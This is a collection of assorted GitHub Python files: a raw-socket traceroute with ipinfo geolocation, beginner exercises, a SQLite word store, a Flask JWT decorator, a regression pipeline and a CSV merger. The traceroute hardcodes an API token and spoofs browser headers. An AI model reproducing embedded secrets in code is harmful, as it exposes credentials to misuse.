{"seq_id":"9607965227","text":"import random\r\nimport socket\r\nimport sys\r\nimport requests\r\nimport traceback\r\n\r\n# socket de UDP\r\nudp_send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)\r\n\r\n# socket RAW de citire a răspunsurilor ICMP\r\nicmp_recv_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)\r\n\r\n# setam timeout in cazul in care socketul ICMP la apelul recvfrom nu primeste nimic in buffer\r\nicmp_recv_socket.settimeout(3)\r\n\r\n# Funcția pentru a obține informații despre locația unui IP\r\ndef get_location(ip):\r\n    fake_HTTP_header = {\r\n        'referer': 'https://ipinfo.io/',\r\n        'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36'\r\n    }\r\n    api_key = \"7d4a4802625d58\"\r\n    url = f\"https://ipinfo.io/{ip}?token={api_key}\"\r\n    response = requests.get(url, headers = fake_HTTP_header)\r\n    data = response.json()\r\n    return data\r\n\r\n# Funcția pentru traceroute\r\ndef traceroute(ip, port):\r\n    n_hops = 30\r\n    for i in range (1, n_hops + 1):\r\n        # setam TTL in headerul de IP pentru socketul de UDP\r\n        TTL = i\r\n        udp_send_sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, TTL)\r\n\r\n        # trimite un mesaj UDP catre un tuplu (IP, port)\r\n        udp_send_sock.sendto(b'salut', (ip, port))\r\n\r\n        # asteapta un mesaj ICMP de tipul ICMP TTL exceeded messages\r\n        # verificam daca primul byte are valoarea Type == 11\r\n\r\n        # addr = 'done!'\r\n        try:\r\n            data, addr = icmp_recv_socket.recvfrom(63535)\r\n            # tipul pt icmp incepe la byte-ul 20\r\n            # if data[20] != 11:\r\n            #     break\r\n\r\n        except Exception as e:\r\n            print(\"Socket timeout \", str(e))\r\n            # print(traceback.format_exc())\r\n            continue\r\n\r\n        # generam doar adresa IP a routerului\r\n        yield addr[0]\r\n\r\n        # verificam daca am ajuns la destinatie\r\n        if addr[0] == ip:\r\n            break\r\n\r\n# extragem numele site-ului si obtinem ip-ul\r\nname = sys.argv[1]\r\nhost = socket.gethostbyname(name)\r\n\r\ndirections = []\r\n\r\nwith open(\"traceroutes.txt\", \"a\") as file:\r\n    file.seek(0, 2)\r\n\r\n    print(host + \" - \" + get_location(host)['country'])\r\n    file.write(host + \" - \" + get_location(host)[\"country\"] + \"\\n\")\r\n\r\n    i = 1\r\n    for ip in traceroute(host, random.randint(33434, 33534)):\r\n        ip_location = get_location(ip)\r\n\r\n        # verificam daca avem informatiile necesare sau adresa este privata\r\n        if 'city' in ip_location:\r\n            print(str(i) + \". \" + ip + \" - \" + \"City: \" + ip_location[\"city\"] + \", Region: \" + ip_location[\"region\"] + \", Country: \" + ip_location[\"country\"])\r\n            file.write(str(i) + \". \" + ip + \" - \" + \"City: \" + ip_location[\"city\"] + \", Region: \" + ip_location[\"region\"] + \", Country: \" + ip_location[\"country\"] + '\\n')\r\n            \r\n            # memoram latitudine si longitudinea fiecarui hop pentru a face un plot cu traseul mesajului\r\n            directions.append(ip_location[\"loc\"])\r\n        else:\r\n            print(str(i) + \". \" + ip + \" - \" + \"Private address\")\r\n            file.write(str(i) + \". \" + ip + \" - \" + \"Private address\\n\")\r\n        i += 1\r\n\r\n    file.write(\"\\n\")\r\n    \r\nprint(directions)","repo_name":"eduardpetre/Retele","sub_path":"proiect-retele-2023-eg/src/traceroute.py","file_name":"traceroute.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6862454420","text":"from time import sleep\n\n\ndef maior(* num):\n    print('*='*18)\n    sleep(0.5)\n    print('Analisando os valores passados...')\n    sleep(0.5)\n    maior = menor = 0\n    if len(num) != 0:\n        for i, n in enumerate(num):\n            if i == 0:\n                maior = n\n                menor = n\n            else:\n                if n > maior:\n                    maior = n\n                elif n < menor:\n                    menor = n\n            print(n, end=' ')\n    print(f'Foram informados {len(num)} valores ao todo.')\n    print(f'O maior valor informado foi {maior} e o menor foi {menor}.')\n\n\nmaior(2, 9, 4, 5, 7, 1)\nmaior(4, 7, 0)\nmaior(1, 2)\nmaior(6)\nmaior()\n","repo_name":"Lucas-HMSC/curso-python3","sub_path":"#099 - Função que descobre o maior.py","file_name":"#099 - Função que descobre o maior.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14989288739","text":"import sqlite3\r\nimport text_analyzer\r\n\r\nconn = sqlite3.connect('word_db.db')\r\nc = conn.cursor()\r\n\r\n'''\r\nc.execute('DROP TABLE Words')\r\nc.execute('DROP TABLE Pos_Types')\r\nc.execute('DROP TABLE Inflections')\r\n'''\r\n\r\nc.execute('''CREATE TABLE Words (\r\n                wordID INTEGER PRIMARY KEY,\r\n                word TEXT,\r\n                pos TEXT\r\n            )''')\r\n\r\nc.execute('''CREATE TABLE Pos_Types (\r\n                pos TEXT PRIMARY KEY\r\n            )''')\r\n\r\nc.execute('''CREATE TABLE Inflections (\r\n                wordID INTEGER,\r\n                inflectedForm TEXT,\r\n                FOREIGN KEY (wordID) REFERENCES Words(wordID)\r\n            )''')\r\n\r\nconn.commit()\r\n\r\n\r\nwords = text_analyzer.analyze('text.txt')\r\n\r\n'''\r\nfor word_inf, details in words.items():\r\n    print(word_inf, '>>>', details)\r\n'''\r\n\r\npos = set([v[0] for v in words.values() if v[0] is not None])\r\nfor i in pos:\r\n    c.execute('''INSERT INTO Pos_Types VALUES (?)''', (i, ))\r\n    conn.commit()\r\n\r\n\r\nid = 1\r\nfor word_inf, details in words.items():\r\n    c.execute('''INSERT INTO Words VALUES (?, ?, ?)''',\r\n              (id, word_inf, details[0]))\r\n    for inf in details[1]:\r\n        c.execute('''INSERT INTO Inflections VALUES (?, ?)''', (id, inf))\r\n    id += 1\r\n    conn.commit()\r\n\r\n\r\n'''\r\nВиводимо всі дані таблиці слів:\r\nc.execute(\"SELECT * FROM Words\")\r\nresult = c.fetchall()\r\n\r\nfor row in result:\r\n    print(row)\r\n\r\n\r\n#Виводимо всі прикметники:\r\nc.execute(\"SELECT * FROM Words WHERE pos='ADJF'\")\r\nresult = c.fetchall()\r\n\r\nfor row in result:\r\n    print(row)\r\n'''\r\n\r\nconn.close()\r\n","repo_name":"msklyar13/Text_Analysis_db","sub_path":"word_db.py","file_name":"word_db.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11476197128","text":"import functools\nfrom flask import request\nfrom repositories import error_handler\nfrom viewers.general_viewer import ErrorViewer\nfrom repositories import repositories_helper\nfrom repositories.merchant_repo import MerchantRepo\n\n\ndef jwt_required(account_type):\n    def decorate_func(func):\n        @functools.wraps(func)\n        def decorated_func(*args, **kwargs):\n            try:\n                rq = request.get_json()\n                token = request.headers.getlist(key=\"Authorization\")[0].split()[1]\n            except error_handler.Unauthorised as e:\n                response = ErrorViewer(e.msg)\n                return response.__dict__, e.code\n            else:\n                account_id = repositories_helper.token_decode(token).get(\"accountId\", None)\n                if account_type == \"merchant\":\n                    try:\n                        merchant = MerchantRepo.get_merchant(account_id)\n                    except error_handler.AccountNotExist as e:\n                        response = ErrorViewer(e.msg)\n                        return response.__dict__, e.code\n\n                    api_key = merchant.api_key\n                    try:\n                        account_id_decode = repositories_helper.token_decode(token, api_key)[\"accountId\"]\n                    except error_handler.Unauthorised as e:\n                        response = ErrorViewer(e)\n                        return response.__dict__, e.code\n                    if account_id_decode != account_id:\n                        e = error_handler.Unauthenticated\n                        response = ErrorViewer(e.msg)\n                        return response.__dict__, e.code\n                    else:\n                        return func(*args, **kwargs)\n                else:\n                    if account_id == rq['accountId']:\n                        return func(*args, **kwargs)\n                    else:\n                        e = error_handler.Unauthenticated()\n                        response = ErrorViewer(e.msg)\n                        return response.__dict__, e.code\n        return decorated_func\n    return decorate_func\n","repo_name":"Ducthinh2603/eWalletv1","sub_path":"controllers/jwt_helper.py","file_name":"jwt_helper.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31044618181","text":"from datetime import datetime\n\nclass ProfSaude():\n    def __init__ (self, nome, cpf):\n        self.__nome = nome\n        self.__cpf = cpf\n\n    @property\n    def nome(self):\n        return self.__nome\n    \n    @property\n    def cpf(self):\n        return self.__cpf\n    \nclass Medico(ProfSaude):\n    def __init__(self, nome, cpf, crm, especialidade):\n        super().__init__(nome, cpf)\n        self.__crm = crm\n        self.__especialidade = especialidade\n\n    @property\n    def crm(self):\n        return self.__crm\n    \n    @property\n    def especialidade(self):\n        return self.__especialidade\n    \nclass Instrumentador(ProfSaude):\n    def __init__(self, nome, cpf, coren):\n        super().__init__(nome, cpf)\n        self.__coren = coren\n\n    @property\n    def coren(self):\n        return self.__coren\n    \nclass Paciente():\n    def __init__ (self, nome, tipo):\n        self.__nome = nome\n        self.__tipo = tipo\n\n    @property\n    def nome(self):\n        return self.__nome\n    \n    @property\n    def tipo(self):\n        return self.__tipo\n    \nclass TipoCirurgia():\n    def __init__ (self, descricao, valorCirurgiao, valorAnest, valorInstrum):\n        self.__descricao = descricao\n        self.__valorCirurgiao = valorCirurgiao\n        self.__valorAnest = valorAnest\n        self.__valorInstrum = valorInstrum\n\n    @property\n    def descricao(self):\n        return self.__descricao\n    \n    @property\n    def valorCirurgiao(self):\n        return self.__valorCirurgiao\n    \n    @property\n    def valorAnest(self):\n        return self.__valorAnest\n    \n    @property\n    def valorInstrum(self):\n        return self.__valorInstrum\n    \nclass Cirurgia():\n    def __init__ (self, data, paciente, tipoCirurgia):\n        self.__data = data\n        self.__paciente = paciente\n        self.__tipoCirurgia = tipoCirurgia\n        \n        self.__equipe = []\n\n    @property\n    def data(self):\n        return self.__data\n    \n    @property\n    def paciente(self):\n        return self.__paciente\n    \n    @property\n    def tipoCirurgia(self):\n        return self.__tipoCirurgia\n    \n    @property\n    def equipe(self):\n        return self.__equipe\n    \n    def adicionaProf(self, prof):\n        self.__equipe.append(prof)\n\n    def equipeValida(self):\n        contInstrum = 0\n        contCirur = 0\n        contAnes = 0\n        for x in self.__equipe:\n            if type(x) == Instrumentador:\n                contInstrum += 1\n            if type(x) == Medico:\n                if x.especialidade == \"Cirurgião\":\n                    contCirur += 1\n                elif x.especialidade == \"Anestesista\":\n                    contAnes += 1\n        if contInstrum >= 1 and contCirur >= 1 and contAnes >= 1:\n            return 1\n        else:\n            return 0\n\n    def calculaCustoCir(self):\n        teste = self.equipeValida()\n        if teste == 0:\n            return 0\n        contInstrum = 0\n        contCirur = 0\n        contAnes = 0\n        for x in self.__equipe:\n            if type(x) == Instrumentador:\n                contInstrum += 1\n            if type(x) == Medico:\n                if x.especialidade == \"Cirurgião\":\n                    contCirur += 1\n                elif x.especialidade == \"Anestesista\":\n                    contAnes += 1\n        valor = 0\n        valor = (self.tipoCirurgia.valorCirurgiao * contCirur + self.tipoCirurgia.valorAnest * contAnes + self.tipoCirurgia.valorInstrum * contInstrum)\n\n        if self.paciente.tipo == \"Convênio\":\n            valor = 0.8 * valor\n            \n        return valor\n\n\n\n\nif __name__ == \"__main__\":\n    tipo1 = TipoCirurgia('Oncológica', 8000, 2000, 1000)\n    tipo2 = TipoCirurgia('Cardíaca', 9000, 2000, 1200)\n    tipo3 = TipoCirurgia('Ortopédica', 7000, 2000, 900)\n    pac1 = Paciente('Luiz Silva', 'Particular')\n    pac2 = Paciente('José Cruz', 'Convênio')\n    pac3 = Paciente('Márcia Reis', 'Particular')\n    medCir1 = Medico('Luis Lima', '1234', 'crm1234', 'Cirurgião')\n    medCir2 = Medico('Marcos Lopes', '9876', 'crm9876', 'Cirurgião')\n    medAnest1 = Medico('Marisa Lins', '4321', 'crm4321', 'Anestesista')\n    inst1 = Instrumentador('Ana Souza', '4567', 'coren4567')\n    inst2 = Instrumentador('Joel Santos', '7890', 'coren7890')\n    cirurgia1 = Cirurgia(datetime(2023, 10, 30), pac1, tipo1)\n    cirurgia1.adicionaProf(medCir1)\n    cirurgia1.adicionaProf(inst1)\n    custo1 = cirurgia1.calculaCustoCir()\n    if custo1 == 0:\n        print('Equipe não está completa.')\n    else:\n        print('O valor da cirurgia do paciente {} é {}'.format(pac1.nome, custo1))\n    #Saída esperada: 'Equipe não está completa'\n    print()    \n\n    cirurgia2 = Cirurgia(datetime(2023, 11, 10), pac2, tipo1)\n    cirurgia2.adicionaProf(medCir1)\n    cirurgia2.adicionaProf(medAnest1)\n    cirurgia2.adicionaProf(inst1)\n    custo2 = cirurgia2.calculaCustoCir()\n    if custo2 == 0:\n        print('Equipe não está completa.')\n    else:\n        print('O valor da cirurgia do paciente {} é {}'.format(pac2.nome, custo2))\n    #Saída esperada: 'O valor da cirurgia do paciente José Cruz é 8800.0'\n    print()\n\n    cirurgia3 = Cirurgia(datetime(2023, 11, 20), pac3, tipo2)\n    cirurgia3.adicionaProf(medCir1)\n    cirurgia3.adicionaProf(medAnest1)\n    cirurgia3.adicionaProf(inst2)\n    custo3 = cirurgia3.calculaCustoCir()\n    if custo3 == 0:\n        print('Equipe não está completa.')\n    else:\n        print('O valor da cirurgia da paciente {} é {}'.format(pac3.nome, custo3))\n    #Saída esperada: 'O valor da cirurgia da paciente Márcia Reis é 12200'\n\n\n\n\n","repo_name":"tomlavez/Unifei","sub_path":"poo-python/P1/2023005057.py","file_name":"2023005057.py","file_ext":"py","file_size_in_byte":5526,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16616017787","text":"import pickle\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nimport seaborn as sns\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\nfrom plotly.subplots import make_subplots\r\nfrom sklearn.metrics import r2_score\r\nfrom sklearn.datasets import make_classification\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.linear_model import LogisticRegression, LinearRegression\r\nfrom sklearn import linear_model, metrics\r\nfrom sklearn.model_selection import train_test_split, cross_val_score\r\nfrom sklearn.pipeline import make_pipeline\r\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler, PolynomialFeatures\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.model_selection import RandomizedSearchCV\r\nimport datetime\r\nimport warnings\r\n\r\nfrom sklearn.svm import SVR\r\nwarnings.filterwarnings('ignore')\r\npd.options.display.max_columns = None\r\n\r\nsns.set(font_scale=1)\r\nimport re\r\n\r\nplt.style.use(\"Solarize_Light2\")\r\n\r\ndf = pd.DataFrame()\r\ndf = pd.read_csv(\"./megastore-regression-dataset.csv\")\r\n# splitting\r\nX = df.iloc[:, :-1]\r\ny = df['Profit']\r\n\r\n\r\n# y.shape\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, shuffle=False, random_state=0)\r\nprint(\"Countries: \", end=\"\")\r\nprint(df['Country'].unique())\r\nprint('Number of states: ' + str(df['State'].unique().shape[0]))\r\nprint('Number of cities: ' + str(df['City'].unique().shape[0]))\r\nprint(\"Number of Products: \" + str(df['Product ID'].unique().shape[0]))\r\nprint()\r\nprint()\r\ncategorical_columns = ['Ship Mode', 'Segment', 'Country', 'City', 'State', 'Region']\r\n\r\nfor col in categorical_columns:\r\n    print(f\"{col} unique values:\")\r\n    print(df[col].unique())\r\n    print()\r\nprint()\r\ncategorical_columns = ['Ship Mode', 'Segment', 'Region']\r\nfor col in categorical_columns:\r\n    plt.figure(figsize=(10, 5))\r\n    sns.countplot(data=df, x=col)\r\n    plt.xticks(rotation=90)\r\n    plt.title(f\"Distribution of {col}\")\r\n    plt.show()\r\n    print()\r\n    print()\r\nprint(\"Number of duplicates in the train data : \",X_train.duplicated().sum())\r\nprint(\"Number of Null Values in the train data : \",X_train.isnull().sum())\r\ndef timeAnalysis(X,y):\r\n    data = X\r\n    data['Profit'] = y\r\n\r\n    plt.bar(X['Shipping Time'], y, color ='blue',\r\n        width = 0.4)\r\n    plt.xlabel('Shipping Time')\r\n    plt.ylabel('Profit')\r\n    plt.title(\"Profit depending on Shipping Time\")\r\n    plt.show()\r\ndef outliersD(XX,yy):\r\n    X = XX\r\n    y = yy\r\n    fig = px.box(y, x=\"Profit\",orientation = 'h')\r\n    # fig.update_traces(orientation='h')\r\n    fig.show()\r\n    data = X\r\n    data['Profit'] = y\r\n    top5ovr = y\r\n    q2 = top5ovr.median()\r\n    # top5ovr.sort_values(\"weight_kg\")\r\n    q3, q1 = np.percentile(top5ovr, [75, 25])\r\n    iqr = q3 - q1\r\n    bOutliers = top5ovr[data['Profit'] > (q3 + 1.5*iqr)]\r\n    sOutliers = top5ovr[data['Profit'] < (q1 - 1.5*iqr)]\r\n    print()\r\n    print('Detecting Outliers')\r\n    print()\r\n    print('Q1 = %i, Q2 = %i, Q3 = %i'%(q1, q2, q3))\r\n    print()\r\n    print('IQR =',iqr)\r\n    print()\r\n    print(\"Lower Outliers: \",len(sOutliers))\r\n    print()\r\n    print(sOutliers.sort_values().values.tolist())\r\n    print()\r\n    print(\"Upper Outliers: \",len(bOutliers))\r\n    print()\r\n    print(bOutliers.sort_values().values.tolist())\r\n    print()\r\n    smax = (sOutliers.max())\r\n    bmin = (bOutliers.min())\r\n    print(\"Lower Fence: \",smax)\r\n    print()\r\n    print(\"Upper Fence: \",bmin)\r\n    data = data[(data['Profit'] > (smax)) & (data['Profit'] < (bmin))]\r\n    X = data.iloc[:, :-1]\r\n    y = data['Profit']\r\n    # df = px.data.tips()\r\n    return X,y\r\n\r\n\r\n\r\ndef categoryPreprocessing(df):\r\n    categoryTree = \"{'MainCategory': 'Office Supplies', 'SubCategory': 'Binders'}\"\r\n    df['MainCategory'] = 1\r\n    main = []\r\n    for i in df[\"CategoryTree\"]:\r\n        categoryTree = i\r\n        main.append(re.search(r\"MainCategory': '([\\w\\s]+)'\", categoryTree).group(1))\r\n\r\n    df['MainCategory'] = main\r\n    main = []\r\n    for i in df[\"CategoryTree\"]:\r\n        categoryTree = i\r\n        main.append(re.search(r\"SubCategory': '([\\w\\s]+)'\", categoryTree).group(1))\r\n\r\n    df['SubCategory'] = main\r\n    # print(df['SubCategory'])\r\n    # df[['CategoryTree','MainCategory','SubCategory']].head()\r\n\r\n\r\ndef Feature_Encoder(X, cols):\r\n    for c in cols:\r\n        lbl = LabelEncoder()\r\n        lbl.fit(list(X[c].values))\r\n        X[c] = lbl.transform(list(X[c].values))\r\n    return X\r\n\r\n\r\n\r\n\r\n\r\ndef datePreprocessing(df):\r\n    OrderDate = pd.to_datetime(df['Order Date'], errors='ignore', dayfirst=False)\r\n    ShipDate = pd.to_datetime(df['Ship Date'], errors='ignore', dayfirst=False)\r\n\r\n    sodt = (ShipDate - OrderDate)\r\n\r\n    df['Shipping Time'] = sodt.dt.days\r\n    # print(df['Shipping Time'])\r\n\r\n\r\n\r\ndef labelEncoding(df,type):\r\n    global le\r\n    le = LabelEncoder()\r\n    global encoders\r\n    encoders = {}\r\n\r\n    categorical_features = df.columns\r\n\r\n    for col in categorical_features:\r\n        if df[col].dtype == 'object':\r\n            unique_values = list(df[col].unique())\r\n            unique_values.append('Unseen')\r\n            le = LabelEncoder().fit(unique_values)\r\n            df[col] = le.transform(df[[col]])\r\n            encoders[col] = le\r\n            \r\ndef labelEncodingtest(df,type):\r\n    global le\r\n    le = LabelEncoder()\r\n    global encoders\r\n\r\n    categorical_features = df.columns\r\n\r\n    for col in categorical_features:\r\n        if df[col].dtype == 'object':\r\n            le = encoders.get(col)\r\n            df[col] = [x if x in le.classes_ else 'Unseen' for x in df[col]]\r\n            df[col] = le.transform(df[[col]])\r\n\r\n\r\ndef featureSelection(X, y):\r\n    # df['Country'].value_counts()\r\n    # df.info()\r\n    X.drop('CategoryTree', axis=1, inplace=True)\r\n    data = X\r\n    data['Profit'] = y\r\n    corr = data.corr()\r\n    # print(corr['Profit'])\r\n    # Top 50% Correlation training features with the Value\r\n    global top_feature\r\n    top_feature = corr.index[abs(corr['Profit']) > 0.06]\r\n    # Correlation plot\r\n    plt.subplots(figsize=(12, 8))\r\n    top_corr = data[top_feature].corr()\r\n    sns.heatmap(top_corr, annot=True)\r\n    plt.show()\r\n\r\n    top_feature = top_feature.delete(-1)\r\n    # print(top_feature)\r\n    X = data[top_feature]\r\n    return X\r\n\r\n\r\n\r\n\r\n\r\ndef preproccessing(X, y):\r\n    global scaler,scaler2\r\n    scaler = StandardScaler()\r\n    scaler2 = StandardScaler()\r\n    X_train[['Sales', 'Quantity', 'Discount']] = scaler.fit_transform(X_train[['Sales', 'Quantity', 'Discount']])\r\n    categoryPreprocessing(X)\r\n    datePreprocessing(X)\r\n    X['Sales'].fillna(value=X['Sales'].mean(), inplace=True)\r\n    X['Quantity'].fillna(value=X['Quantity'].mean(), inplace=True)\r\n    X['Discount'].fillna(value=X['Discount'].mean(), inplace=True)\r\n    timeAnalysis(X, y)\r\n    X = X.reindex(columns=['Row ID', 'Order ID', 'Order Date', 'Ship Date', 'Ship Mode',\r\n                           'Customer ID', 'Customer Name', 'Segment', 'Country', 'City', 'State',\r\n                           'Postal Code', 'Region', 'Product ID', 'CategoryTree', 'Product Name',\r\n                           'Sales', 'Quantity', 'Discount', 'MainCategory',\r\n                           'SubCategory', 'Shipping Time'])\r\n    labelEncoding(X,0)\r\n    X = featureSelection(X, y)\r\n    y1 = np.array(y).reshape(-1, 1)\r\n    y = scaler2.fit_transform(y1)\r\n    y = pd.DataFrame(y,columns=['Profit'])\r\n    y = y['Profit']\r\n    return X,y\r\n\r\ndef preproccessingtest(X, y):\r\n    X_test[['Sales', 'Quantity', 'Discount']] = scaler.transform(X_test[['Sales', 'Quantity', 'Discount']])\r\n    categoryPreprocessing(X)\r\n    datePreprocessing(X)\r\n    X['Sales'].fillna(value=X['Sales'].mean(), inplace=True)\r\n    X['Quantity'].fillna(value=X['Quantity'].mean(), inplace=True)\r\n    X['Discount'].fillna(value=X['Discount'].mean(), inplace=True)\r\n    X = X.reindex(columns=['Row ID', 'Order ID', 'Order Date', 'Ship Date', 'Ship Mode',\r\n                           'Customer ID', 'Customer Name', 'Segment', 'Country', 'City', 'State',\r\n                           'Postal Code', 'Region', 'Product ID', 'CategoryTree', 'Product Name',\r\n                           'Sales', 'Quantity', 'Discount', 'MainCategory',\r\n                           'SubCategory', 'Shipping Time'])\r\n    labelEncodingtest(X,1)\r\n    X = X[top_feature]\r\n    y1 = np.array(y).reshape(-1, 1)\r\n    y = scaler2.transform(y1)\r\n    y = pd.DataFrame(y,columns=['Profit'])\r\n    y = y['Profit']\r\n    return X,y\r\n\r\n\r\n\r\n\r\n# first model\r\ndef train_poly_model(X_train, X_test, y_train, y_test, d=2):\r\n    # polynomial model\r\n\r\n    poly = PolynomialFeatures(degree=d)  # declare poly transformer\r\n    x_train_poly = poly.fit_transform(X_train)  # transforms features to higher degree\r\n    x_test_poly = poly.transform(X_test)  # transforms features to higher degree\r\n    leaner = LinearRegression().fit(x_train_poly, y_train)  # declare leaner model & Normalize & fit\r\n    pickle.dump(leaner, open(\"PolyRegression.pkl\", \"wb\"))\r\n    pickle.dump(x_test_poly, open(\"PolyRegressionfeatures.pkl\", \"wb\"))\r\n\r\n\r\n\r\n\r\ndef train_linear_model(X_train, X_test, y_train, y_test):\r\n    # linear model\r\n    sln = linear_model.LinearRegression()\r\n    sln.fit(X_train, y_train)\r\n    pickle.dump(sln, open(\"LinearRegression.pkl\", \"wb\"))\r\n\r\n\r\n    \r\n\r\ndef lasso_model(X_train, X_test, y_train, y_test):\r\n    # linear model\r\n    clf = linear_model.Lasso(alpha=0.01)    \r\n    clf.fit(X_train, y_train)\r\n    pickle.dump(clf, open(\"LassoRegression.pkl\", \"wb\"))\r\n\r\ndef random_forest_model(X_train, X_test, y_train, y_test):\r\n    # linear model\r\n    regr = RandomForestRegressor(max_leaf_nodes = 1000,max_depth=15, random_state=0)\r\n    regr.fit(X_train, y_train)\r\n    pickle.dump(regr, open(\"rfRegression.pkl\", \"wb\"))\r\n\r\n\r\ndef PrintModel(X_test,y_test,modelName,model):\r\n    # Number of trees in random forest\r\n    prediction = model.predict(X_test)\r\n    # Fit the random search model\r\n    fig = px.scatter(x=y_test, y=prediction, title=modelName,labels={'x': 'ground truth', 'y': 'prediction'})\r\n    fig.add_shape(\r\n    type=\"line\", line=dict(dash='dash'),\r\n    x0=prediction.min(), y0=prediction.min(),\r\n    x1=prediction.max(), y1=prediction.max()\r\n    )\r\n    fig.show()\r\n    print('----------------------------------------------------------------------------'\r\n          '----------------------------------------------------------------------------'\r\n          '----------------------------------------------------------------------------')\r\n    print(modelName,'Results:')\r\n    print('Mean Square Error to ',modelName,' = ', metrics.mean_squared_error(y_test, prediction))\r\n    print('R2 score of test = ', r2_score(y_test, prediction))\r\n    \r\n\r\n\r\n# preparing data\r\n# X_train, y_train = outliersD(X_train, y_train)\r\noutliersD(X_train, y_train)\r\n# scaler = StandardScaler()\r\nscaler2 = StandardScaler()\r\n\r\n# X_train[['Sales', 'Quantity', 'Discount']] = scaler.fit_transform(X_train[['Sales', 'Quantity', 'Discount']])\r\n# X_test[['Sales', 'Quantity', 'Discount']] = scaler.transform(X_test[['Sales', 'Quantity', 'Discount']])\r\n\r\nX_train,y_train = preproccessing(X_train, y_train)\r\nX_test,y_test = preproccessingtest(X_test, y_test)\r\n\r\n# y = np.array(y_train).reshape(-1, 1)\r\n# y_train = scaler2.fit_transform(y)\r\n# y_train = pd.DataFrame(y_train,columns=['Profit'])\r\n# y_train = y_train['Profit']\r\n# y = np.array(y_test).reshape(-1, 1)\r\n# y_test = scaler2.transform(y)\r\n# y_test = pd.DataFrame(y_test,columns=['Profit'])\r\n# y_test = y_test['Profit']\r\n\r\n# train_linear_model(X_train, X_test, y_train, y_test)\r\n# lasso_model(X_train, X_test, y_train, y_test)\r\n# random_forest_model(X_train, X_test, y_train, y_test)\r\n# train_poly_model(X_train, X_test, y_train, y_test, 2)\r\nmodel_lr = pickle.load(open(\"LinearRegression.pkl\", \"rb\"))\r\nmodel_la = pickle.load(open(\"LassoRegression.pkl\", \"rb\"))\r\nmodel_rf = pickle.load(open(\"rfRegression.pkl\", \"rb\"))\r\nmodel_pr = pickle.load(open(\"PolyRegression.pkl\", \"rb\"))\r\nx_test_poly = pickle.load(open(\"PolyRegressionfeatures.pkl\", \"rb\"))\r\nprint(top_feature)\r\nPrintModel(X_test,y_test,\"LinearRegression\",model_lr)\r\nPrintModel(X_test,y_test,\"LassoRegression\",model_la)\r\nPrintModel(X_test,y_test,\"Random Forest\",model_rf)\r\nPrintModel(x_test_poly,y_test,\"PolyRegression\",model_pr)","repo_name":"Demiana-Fouad/MegaStore","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":12165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9330701549","text":"# import the pyplot and wavfile modules\nimport glob\nimport pandas as pd\nimport numpy as np\n\ndata=[]\n\ncntrast = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/mean-std-var/contrast.csv\")\nmel_mean = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/mean/mel_mean.csv\")\nmel_std = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/std/mel_std.csv\")\nmel_var = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/var/mel_var.csv\")\nmfcc_std = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/mean/mfcc_std.csv\")\nmfcc_mean = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/std/mfcc_mean.csv\")\nmfcc_var = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/var/mfcc_var.csv\")\nactemp_mean = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/mean/actempogram_mean.csv\")\nactemp_std = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/std/actempogram_std.csv\")\nactemp_var = pd.read_csv(\"/home/onu/PycharmProjects/Heart/RAW_ft/var/actempogram_var.csv\")\n\nX1 = cntrast\nX2 = mel_mean.drop('class', axis=1)\nX3 = mel_std.drop('class', axis=1)\nX4 = mel_var.drop('class', axis=1)\nX5 = mfcc_mean.drop('class', axis=1)\nX6 = mfcc_std.drop('class', axis=1)\nX7 = mfcc_var.drop('class', axis=1)\nX8 = actemp_mean.drop('class', axis=1)\n\nX1=np.append(X1,X2,axis=1)\nX1=np.append(X1,X3,axis=1)\nX1=np.append(X1,X4,axis=1)\nX1=np.append(X1,X5,axis=1)\nX1=np.append(X1,X6,axis=1)\nX1=np.append(X1,X7,axis=1)\nX1=np.append(X1,X8,axis=1)\n\nprint(X1.shape)\n# print(data.shape)\ndf = pd.DataFrame(X1)\nexport_csv = df.to_csv ('all.csv', index = False, header=True) #Don't forget to add '.csv' at the end of the path\n","repo_name":"onucsecu2/heart_sound_classification","sub_path":"dataset_resizing/dataset_merge.py","file_name":"dataset_merge.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
